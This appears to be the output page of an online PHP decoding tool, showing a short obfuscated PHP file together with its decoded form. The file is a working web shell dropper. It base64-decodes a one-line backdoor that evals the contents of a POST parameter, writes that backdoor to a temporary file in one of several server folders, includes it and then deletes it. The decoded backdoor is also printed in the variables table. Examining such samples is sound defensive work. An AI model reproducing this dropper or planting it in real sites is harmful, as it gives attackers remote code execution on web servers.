Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+'; $cfg_ml = base64..

Decoded Output download

<?php 
 
    $cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+'; 
 
 
    $cfg_ml = base64_decode($cfg_ml); 
    $t = md5(mt_rand(1,100)); 
 
    $f=$_SERVER['DOCUMENT_ROOT'].'/data/sessions/sess_'.$t; 
    @file_put_contents($f,$cfg_ml); 
    if(!file_exists($f)) 
    {     
        $f=$t; 
        @file_put_contents($f,$cfg_ml); 
    } 
    if(!file_exists($f)) 
    { 
        $f=$_SERVER['DOCUMENT_ROOT'].'/a/'.$t; 
        @file_put_contents($f,$cfg_ml); 
    } 
    if(!file_exists($f)) 
    { 
 
        $f=$_SERVER['DOCUMENT_ROOT'].'/'.$t; 
        @file_put_contents($f,$cfg_ml); 
    } 
    if(!file_exists($f)) 
    { 
        $f='/tmp/'.$t; 
        @file_put_contents($f,$cfg_ml); 
    }  
 
    @include($f); 
    @unlink($f);   
 
?>

Did this file decode correctly?

Original Code

<?php

    $cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+';


    $cfg_ml = base64_decode($cfg_ml);
    $t = md5(mt_rand(1,100));

    $f=$_SERVER['DOCUMENT_ROOT'].'/data/sessions/sess_'.$t;
    @file_put_contents($f,$cfg_ml);
    if(!file_exists($f))
    {    
        $f=$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {
        $f=$_SERVER['DOCUMENT_ROOT'].'/a/'.$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {

        $f=$_SERVER['DOCUMENT_ROOT'].'/'.$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {
        $f='/tmp/'.$t;
        @file_put_contents($f,$cfg_ml);
    } 

    @include($f);
    @unlink($f);  

?>

Function Calls

mt_rand 1
base64_decode 1

Variables

$cfg_ml <?php @eval($_POST['guige'])?>

Stats

MD5 2218c9237d74c4f65289483e70b22f39
Eval Count 0
Decode Time 102 ms